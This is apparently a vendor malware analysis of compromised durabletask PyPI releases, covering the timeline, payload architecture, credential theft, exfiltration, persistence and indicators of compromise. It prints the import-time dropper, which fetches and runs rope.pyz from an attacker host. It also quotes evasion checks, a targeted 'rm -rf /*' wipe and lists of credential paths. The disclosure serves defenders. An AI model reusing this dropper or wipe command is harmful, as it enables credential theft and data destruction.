Executive Summary

Upwind identified a critical supply chain compromise involving durabletask==1.4.1, 1.4.2, and 1.4.3, three consecutive malicious releases of Microsoft’s Azure Durable Task Python SDK published to PyPI.

The malicious release contains a lightweight dropper embedded directly into durabletask/init.py. On import, the package downloads and executes a remote payload named rope.pyz from attacker-controlled infrastructure.

The payload is a sophisticated multi-cloud credential theft and propagation framework designed specifically for Linux cloud workloads, CI/CD runners, Kubernetes environments, and developer infrastructure.

We identified capabilities including:

  • AWS, Azure, GCP, and Kubernetes credential theft
  • Full Secrets Manager and Parameter Store dumping
  • HashiCorp Vault collection
  • Password manager extraction
  • GitHub token theft and fallback exfiltration
  • Kubernetes and EC2 lateral movement
  • GitHub dead-drop command infrastructure
  • Runtime-aware sandbox evasion
  • Selective persistence deployment
  • Defender-aware evasion techniques
  • Geopolitically targeted destructive payload logic

The malware appears intentionally engineered to evade both automated scanners and incident responders. It uses User-Agent filtering to block researchers, Linux-only execution to focus on server environments, sandbox-aware CPU gating, encrypted exfiltration, multiple fallback command channels, and modular payload delivery to reduce static indicators.

Most notably, the malware authors appear highly aware of modern defensive tooling and malware analysis workflows. The campaign demonstrates a growing trend in supply chain attacks: attackers are increasingly adapting their malware to evade the tools designed to detect and analyze them.

Timeline

Time (UTC)Event
2026-04-08 18:49durabletask 1.4.0 published (clean, via GitHub Actions + PYPI_API_TOKEN)
2026-04-24 16:42Last legitimate commit to microsoft/durabletask-python
2026-05-16 01:31rope.pyz core modules authored
2026-05-16 18:58TLS certificate issued for check.git-service.com
2026-05-19 16:02config.py modified – payload finalized
2026-05-19 16:19durabletask 1.4.1 uploaded to PyPI
2026-05-19 16:49durabletask 1.4.2 uploaded to PyPI
2026-05-19 16:54durabletask 1.4.3 uploaded to PyPI
2026-05-19 (ongoing)All three malicious versions remained live on PyPI at time of analysis
2026-05-19 ~16:30Upwind’s threat intelligence scanner triggers an alert

Compromised Publishing Pipeline

The microsoft/durabletask-python repository published releases to PyPI using a reusable PYPI_API_TOKEN stored in GitHub Actions Secrets:

env:

  TWINE_USERNAME: __token__
  TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }}

Copied

The project did not use PyPI Trusted Publisher (OIDC-based publishing).

Based on the available evidence, one possible explanation is that the attacker obtained access to the publishing token and used it to upload the malicious releases directly to PyPI outside the normal GitHub Actions release flow.

Indicators supporting this theory include:

  • No git tags existed for versions 1.4.1, 1.4.2, or 1.4.3
  • No GitHub release entries existed for the malicious versions
  • The last legitimate GitHub commit occurred 25 days before the malicious uploads
  • The wheel and source distributions were uploaded within seconds of each other, consistent with scripted local twine upload usage

At this stage, the exact root compromise path remains unknown.

The incident highlights an important supply chain security lesson: long-lived publishing tokens become critical trust boundaries. If compromised, a single token can allow attackers to distribute malicious packages through otherwise legitimate software ecosystems.

Timeline

Time (UTC)Event
2026-04-08 18:49durabletask 1.4.0 published (clean)
2026-05-16 01:31rope.pyz core modules authored
2026-05-16 18:58TLS certificate issued for check.git-service.com
2026-05-19 16:02config.py modified – payload finalized
2026-05-19 16:19durabletask 1.4.1 uploaded to PyPI
2026-05-19 ~16:30Upwind’s threat intelligence scanner triggers an alert

The timeline suggests a highly operational workflow:

  • The payload was finalized only 17 minutes before publication
  • Infrastructure was prepared several days in advance
  • The package remained available after publication
  • Both wheel and source distributions contained the malicious code

Initial Infection Vector

The compromise was intentionally minimal.

All three malicious versions – 1.4.1, 1.4.2, and 1.4.3 – contained the same malicious dropper logic.

Only a single file changed between durabletask 1.4.0 and the malicious releases:

import os
import sys
import platform
import subprocess
import urllib.request

if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")
        with open(os.devnull, 'w') as f:
            subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True)
    except:
        pass

Copied

Every other Python file was byte-for-byte identical.

This design is important because:

  • The malicious diff is extremely small
  • The real payload is hosted remotely
  • Package review becomes significantly harder
  • Static scanning sees minimal changes
  • The subprocess detaches completely from the parent process
  • All output is redirected to /dev/null
  • Exceptions are silently swallowed

The package requires no explicit execution.

Simply importing durabletask triggers the payload.

Runtime-Aware Payload Delivery

One of the most interesting aspects of the campaign is how selectively the payload is delivered.

The server hosting rope.pyz only responds when the User-Agent matches:

Python-urllib/3.11

Any other User-Agent receives HTTP 403.

This means:

  • Manual curl testing fails
  • Basic crawlers fail
  • Many automated scanners fail
  • Retrieving the payload requires mimicking the expected Python runtime behavior

This is a strong example of modern supply chain malware adapting specifically to defensive analysis workflows.

The attackers were not simply trying to spread malware. They were actively trying to control who could retrieve and analyze the real payload.

Payload Architecture

rope.pyz is a Python zipapp containing a modular cloud intrusion framework.

Payload structure:

rope.pyz
├── __main__.py
├── config.py
├── entrypoint.py
├── aggregate.py
├── roulette.py
├── collectors/
│   ├── aws.py
│   ├── azure.py
│   ├── gcp.py
│   ├── kubernetes.py
│   ├── filesystem.py
│   ├── passwords.py
│   ├── propagate.py
│   └── vault.py
└── utilities/
    ├── crypto.py
    └── aws_signer.py

Copied

The malware is highly modular and operationally mature.

Collectors run concurrently using ThreadPoolExecutor, allowing rapid credential theft across multiple environments simultaneously.

Unlike many commodity stealers, the malware implements significant functionality manually instead of relying heavily on official SDKs.

For example:

  • AWS SigV4 signing is implemented directly
  • JWT generation is implemented directly
  • RSA signing is implemented directly
  • Kubernetes API interaction is implemented directly
  • memfd_create is used for in-memory cert handling

This reduces external dependencies and makes the malware more portable across cloud workloads.

Initial Execution Flow

The infection chain is intentionally lightweight and difficult to notice during normal package installation or runtime.

Execution flow:

import durabletask
↓
__init__.py downloads rope.pyz
↓
payload written to /tmp/managed.pyz
↓
detached subprocess launched silently
↓
rope.pyz executes
↓
environment validation and sandbox checks
↓
credential aggregation begins
↓
cloud and Kubernetes enumeration
↓
encrypted exfiltration
↓
optional persistence deployment
↓
possible propagation through AWS SSM and Kubernetes

Copied

The subprocess detaches completely from the parent Python process and redirects all output to /dev/null, minimizing visible indicators.

Execution Gates and Sandbox Evasion

The malware performs multiple execution checks before running.

Linux-Only Targeting

if sys.platform not in ('linux'):
    sys.exit(1)

Copied

The malware intentionally skips Windows and macOS.

This strongly suggests deliberate targeting of:

  • CI/CD runners
  • Cloud workloads
  • Kubernetes nodes
  • Linux servers
  • Containerized infrastructure

rather than consumer endpoints.

Russian Exclusion Logic

if lang.lower().startswith('ru'):
    sys.exit(1)

Copied

Systems configured with Russian locales are excluded.

This behavior is commonly observed in malware families attempting to avoid operating within specific jurisdictions.

Sandbox Evasion

cpu_count = os.cpu_count()
if cpu_count is None or cpu_count <= 2:
    sys.exit(1)

Copied

Systems with 1-2 CPUs are skipped.

This likely targets:

  • Automated sandboxes
  • Malware analysis VMs
  • Lightweight research environments

while allowing execution on real cloud infrastructure.

The attackers appear highly aware of how malware analysis environments are typically configured.

Dependency Self-Healing

The malware also attempts to silently install missing dependencies dynamically:

subprocess.check_call(
    [sys.executable, "-m", "pip", "install", "cryptography", "--break-system-packages"]
)

Copied

This allows the payload to function even in stripped-down container images and minimal CI/CD environments where required Python packages may not already exist.

Multi-Cloud Credential Theft

The malware contains extensive credential theft logic across cloud providers.

AWS Collection

The AWS collector:

  • Reads environment credentials
  • Uses EC2 IMDSv2
  • Reads ~/.aws/credentials
  • Enumerates 19 AWS regions in parallel
  • Dumps Secrets Manager
  • Dumps SSM Parameter Store with decryption
  • Enumerates SSM-managed instances

Notably, the malware implements full AWS SigV4 signing manually rather than using boto3.

It also includes logic for:

"WithDecryption": True

Copied

allowing it to retrieve decrypted SecureString values directly.

Azure Collection

The Azure collector targets:

  • Azure CLI cache
  • Managed identities
  • Client credential flows
  • Certificate authentication
  • Azure Key Vault

The malware walks:

  • All subscriptions
  • All Key Vaults
  • All secrets

across the compromised environment.

GCP Collection

The GCP collector:

  • Reads service account files
  • Uses metadata server tokens
  • Generates signed JWTs manually
  • Dumps Secret Manager

Again, the malware avoids relying on official SDKs.

Kubernetes Collection

The Kubernetes collector is especially sophisticated.

It supports:

  • kubectl usage
  • Automatic kubectl download
  • Direct Kubernetes API interaction
  • In-cluster service account auth
  • kubeconfig parsing
  • mTLS API access

The malware attempts to dump:

  • All namespaces
  • All Kubernetes secrets
  • All contexts

It also uses memfd_create to avoid writing client certificates to disk.

This is not common commodity malware behavior.

Filesystem and Developer Credential Theft

The filesystem collector targets more than 80 credential locations.

Targets include:

  • AWS credentials
  • Azure credentials
  • GCP credentials
  • GitHub CLI auth
  • Kubernetes configs
  • Terraform state files
  • Docker configs
  • SSH keys
  • Git credentials
  • VPN configs
  • CI/CD secrets
  • AI developer tooling

One especially notable area is the targeting of AI and MCP tooling.

The malware explicitly searches for:

  • Claude configs
  • Cursor MCP configs
  • VS Code MCP configs
  • Continue configs
  • Zed configs
  • Codeium configs

This reflects a growing trend:

attackers increasingly recognize that AI developer tooling often stores sensitive credentials, API keys, and infrastructure access.

The malware also recursively searches for:

  • .env files
  • Terraform state files
  • Shell histories

which frequently contain plaintext secrets.

Password Manager and Vault Targeting

The malware attempts to extract credentials from:

  • 1Password
  • Bitwarden
  • pass
  • gopass
  • HashiCorp Vault

If password managers are locked, the malware searches:

  • Environment variables
  • Shell histories
  • Session exports
  • Previous unlock commands

for reusable authentication material.

Vault collection supports:

  • VAULT_TOKEN
  • AppRole auth
  • Kubernetes auth
  • CLI token extraction

The malware recursively walks KV mounts and attempts to dump all secrets.

Exfiltration Architecture

All collected data is encrypted before transmission.

The malware uses:

  • gzip compression
  • AES-256-GCM encryption
  • RSA-OAEP key wrapping
  • RSA-4096 public keys

Only the operator can decrypt the stolen data.

This is important because:

  • Network interception alone is insufficient
  • Proxy logging alone is insufficient
  • The attacker infrastructure cannot easily be used by competitors or researchers

Layer 1 – Primary C2

https://check.git-service.com/api/public/version

Copied

Layer 2 – GitHub Dead Drop

If the primary infrastructure fails, the malware searches GitHub commit history for signed FIRESCALE beacons.

This allows operators to rotate infrastructure dynamically through public GitHub commits.

The malware verifies RSA signatures before trusting new infrastructure.

This means:

  • Domain takedowns are insufficient
  • Infrastructure can rotate rapidly
  • Public GitHub becomes operational infrastructure
  • C2 resiliency increases dramatically

Layer 3 – Victim GitHub Token Exfiltration

If both C2 paths fail but GitHub tokens were stolen:

  • The malware creates a public GitHub repository
  • Uploads encrypted stolen data
  • Uses random Russian folklore-themed repo names

The victim’s own GitHub credentials become fallback attacker infrastructure.

This is an extremely unusual and operationally mature exfiltration design.

Persistence

Persistence deployment is selective.

The operator controls whether persistence activates through an early quarantine endpoint.

When enabled, the malware installs a disguised systemd service:

pgsql-monitor.service

with:

Restart=always

Copied

The persistence mechanism:

  • Survives reboots
  • Survives crashes
  • Masquerades as PostgreSQL monitoring
  • Can run as root or user-level persistence

The selective deployment is important.

Persistence is not automatically deployed everywhere.

This suggests operators may intentionally limit persistence deployment to:

  • High-value targets
  • Long-term operations
  • Environments worth maintaining access to

AWS and Kubernetes Lateral Movement

The malware also includes propagation functionality.

AWS Propagation

The propagation logic includes operational safeguards and idempotency checks designed to avoid noisy reinfection behavior.

The malware:

  • Skips the current instance
  • Skips Windows systems
  • Skips offline SSM-managed hosts
  • Uses marker files to avoid reinfecting already compromised systems

Observed propagation markers include:

~/.cache/.sys-update-check

Copied

This reflects a more operationally mature propagation model than typical opportunistic malware.

Using SSM-managed instances, the malware can:

  • Discover EC2 infrastructure
  • Execute payloads remotely
  • Propagate laterally across managed instances

Kubernetes Propagation

The Kubernetes collector includes pod-level propagation using:

kubectl exec

Copied

This allows compromised workloads to become pivot points into additional pods and namespaces.

The campaign therefore behaves more like a cloud intrusion framework than a traditional dependency compromise.

Geopolitically Targeted Destructive Payload

One of the most unusual components is the destructive logic targeting Israeli and Iranian systems.

The malware checks:

  • Timezones
  • Locale settings
  • System language indicators

Targeted indicators include:

  • Jerusalem
  • Tel_Aviv
  • Tehran
  • he_IL
  • fa_IR

When triggered, the malware may:

  • Download and play audio at maximum volume
  • Execute:

rm -rf /*

resulting in a full system wipe.

The destructive behavior is operator-controlled and not automatically triggered.

The malware first checks a quarantine endpoint controlled by the operators. Only when the operators intentionally activate that workflow does the destructive or persistence logic execute.

The destructive behavior is probabilistic:

roll = random.randint(1, 6)

meaning only some targeted systems trigger destruction.

This component changes the nature of the campaign significantly.

The malware was not solely designed for credential theft.

It also included selective destructive capability tied to geopolitical targeting.

Defender-Aware Malware Evolution

The most important takeaway from this campaign is not simply that PyPI was abused again.

The most important takeaway is that supply chain malware is becoming increasingly:

  • Runtime-aware
  • Cloud-aware
  • CI/CD-aware
  • Defender-aware

The attackers appear highly conscious of the tools and workflows defenders use to:

  • Analyze malware
  • Detect compromise
  • Scan packages
  • Monitor CI/CD systems
  • Investigate infrastructure

The malware includes:

  • User-Agent gating
  • Sandbox evasion
  • Linux-only targeting
  • Modular payload delivery
  • Encrypted exfiltration
  • Dynamic C2 rotation
  • GitHub dead-drop infrastructure
  • Selective persistence deployment
  • Minimal package diffs
  • Manual protocol implementations

This reflects a broader trend across modern supply chain attacks.

Attackers are no longer simply hiding malware inside packages.

They are increasingly studying defensive tooling and adapting their malware specifically to evade analysis, detection, and containment.

Indicators of Compromise

TypeValueNotes
Packagedurabletask==1.4.1 / 1.4.2 / 1.4.3Malicious PyPI release
Primary C2 Domaincheck.git-service.comMain payload delivery and exfiltration infrastructure
Secondary C2 Domaint.m-kosche.comFallback payload infrastructure
IP Address160.119.64.3Associated with check.git-service.com
Payload URLhttps://check.git-service.com/rope.pyzRemote payload delivery
Exfiltration Endpointhttps://check.git-service.com/api/public/versionPrimary encrypted exfiltration endpoint
Quarantine Endpointhttps://check.git-service.com/v1/modelsSelective persistence deployment trigger
Audio Payloadhttps://check.git-service.com/audio.mp3Used in destructive wipe routine
Payload File/tmp/managed.pyzDownloaded payload path
Root Persistence Binary/usr/bin/pgmonitor.pyPersistence binary when running as root
User Persistence Binary~/.local/bin/pgmonitor.pyUser-level persistence binary
Root Persistence Service/etc/systemd/system/pgsql-monitor.serviceRoot systemd persistence
User Persistence Service~/.config/systemd/user/pgsql-monitor.serviceUser-level systemd persistence
Service Namepgsql-monitor.serviceFake PostgreSQL monitoring service
GitHub Beacon KeywordFIRESCALEGitHub dead-drop beacon protocol
Russian Folklore Repo NamesBABA-YAGA / KOSCHEI / FIREBIRDGitHub fallback exfiltration repo naming
AWS IMDS Endpointhttp://169.254.169.254/latest/meta-data/iam/security-credentials/EC2 credential theft
Kubernetes Service Account Path/var/run/secrets/kubernetes.io/serviceaccount/tokenIn-cluster K8s token theft
Terraform State Files*.tfstate / *.tfstate.backupInfrastructure credential targeting
AI Tooling TargetsClaude / Cursor / Continue / Zed / CodeiumMCP and AI credential targeting
VPN TargetsTailscale / WireGuardVPN credential targeting
GitHub APIhttps://api.github.comGitHub dead-drop and exfiltration logic
Linux Wipe Commandrm -rf /*Destructive payload
Russia Exclusion CheckLANG starts with ruSelf-protection logic
Sandbox EvasionCPU count <= 2 exitsAnalysis environment evasion
User-Agent GatePython-urllib/3.11Blocks non-Python retrieval attempts
Persistence TriggerHTTP 200 from /v1/modelsSelective persistence activation

Recommendations

Organizations should immediately:

  • Immediately remove or block durabletask==1.4.1, 1.4.2, and 1.4.3
  • Audit PyPI dependencies for unexpected updates
  • Review import-time execution behavior
  • Block outbound access to attacker infrastructure
  • Audit AWS Secrets Manager and SSM access logs
  • Review Kubernetes secret access activity
  • Inspect CI/CD runners for unusual Python subprocesses
  • Review GitHub token usage and repository creation activity
  • Search for suspicious systemd services
  • Rotate potentially exposed credentials
  • Inspect Terraform state exposure
  • Review AI tooling configurations and stored credentials

How Upwind Can Help

This campaign demonstrates why runtime visibility is critical for modern supply chain attacks. The malicious behavior occurred during runtime through subprocess execution, cloud API access, Kubernetes interaction, credential collection, persistence deployment, and encrypted outbound communication – much of which may not be fully visible through static package scanning alone.

Upwind helps organizations detect suspicious runtime package behavior, unexpected subprocess execution, cloud credential access, Kubernetes secret dumping, lateral movement activity, persistence deployment, CI/CD abuse, and suspicious outbound communications. By correlating runtime execution, identity activity, cloud API behavior, Kubernetes telemetry, and network communications, Upwind helps security teams determine whether a malicious dependency was merely present or actually executed, what credentials may have been exposed, what workloads were impacted, and where containment should begin.